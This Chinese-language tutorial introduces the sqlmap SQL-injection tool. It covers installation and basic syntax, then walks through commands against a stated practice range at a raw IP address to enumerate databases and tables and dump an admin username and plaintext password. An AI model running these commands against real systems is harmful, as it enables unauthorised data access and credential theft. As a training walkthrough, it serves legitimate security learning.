SQLMap工具介紹:
sqlmap是一個開源軟件,用於檢測和利用數據庫漏洞,並提供將惡意代碼注入其中的選項。 它是一種滲透測試工具,可自動檢測和利用SQL注入漏洞,在終端中提供其用戶界面。該軟件在命令行運行,可供不同操作系統下載:Linux發行版,Windows和Mac OS操作系統。 除了映射和檢測漏洞之外,該軟件還可以訪問數據庫,編輯和刪除數據,以及查看表格中的數據,例如用戶,密碼,備份,電話號碼,電子郵件地址,信用卡和其他機密和敏感信息。 sqlmap完全支持多個DBMS,包括MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Firebird和SAP MaxDB。 並全面支持所有注入技術:布爾值,錯誤,堆棧,時間,聯盟。
下載
1.linux下git直接安裝
gitclone –depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
2.Windows下安裝
Windows下進入官網http://sqlmap.org/下載安裝包解壓縮就可以使用。但需要python2.7.x或者2.6.x環境支持。
3.kali及PentestBox默認安裝sqlmap
基礎語法
sqlmap.py -u “注入地址” --dbs // 列舉數據庫
sqlmap.py -u “注入地址” --current--db // 當前數據庫
sqlmap.py -u “注入地址” --users // 列數據庫用戶
sqlmap.py -u “注入地址” --current--user // 當前用戶
sqlmap.py -u “注入地址” --tables -D “數據庫” // 列舉數據庫的表名
sqlmap.py -u “注入地址” --columns -T “表名” -D “數據庫” // 獲取表的列名
sqlmap.py -u “注入地址” --dump -C “列名字” -T “表名字” -D “數據庫” //獲取數據庫下表的列信息
打開SQLMap
今天我們環境使用的是Windows 10家庭中文版操作系統和Python 2.7.13由於本機Python環境已經搭建好,所以就不進行演示。接下來我們打開SQLMap:
可以進入本地SQLMAp的目錄下,在搜索框輸入cmd,然后按回車進入,如圖所示:


也可以右擊SQLMap文件夾下的sqlmap.py文件創建快捷方式,右鍵選擇屬性,修改目標為%windir%\system32\cmd.exe

確定保存

點擊快捷方式直接打開SQLMap,可以驗證一下

將SQLMap快捷方式添加到launchy快捷打開

SQLMap的使用
在網上找到了一個練習SQL注入的靶場,http://120.203.13.75:6815/?id=1,這道題是要我們通過sql注入拿到管理員密碼!

使用F12查看頁面cookie,發現頁面並沒有設置cookie,下面使用SQLMap

查看數據庫sqlmap.py -u "http://120.203.13.75:6815/?id=1" --batch --dbs


查看當前使用的數據庫,sqlmap.py -u "http://120.203.13.75:6815/?id=1" --batch --current-db


接下來試一下直接爆出maoshe數據庫的用戶名、和密碼。sqlmap.py -u "http://120.203.13.75:6815/?id=1" --batch --users --passwords,但是並沒有成功,原因可能是因為DBMS當前用戶對相關系統數據庫表沒有讀取權限


查看數據庫“maoshe”中的表 ,sqlmap.py -u "http://120.203.13.75:6815/?id=1" --batch -D maoshe --tables,看到了一個名字為admin的表


查看admin表中的列名sqlmap.py -u "http://120.203.13.75:6815/?id=1" --batch -D maoshe -T admin --columns,發現是儲存用戶信息的表


查看username和password列信息sqlmap.py -u "http://120.203.13.75:6815/?id=1" --dump -C "password,username" -T admin -D "maoshe",爆出admin管理員用戶信息而且密碼使用明文保存的


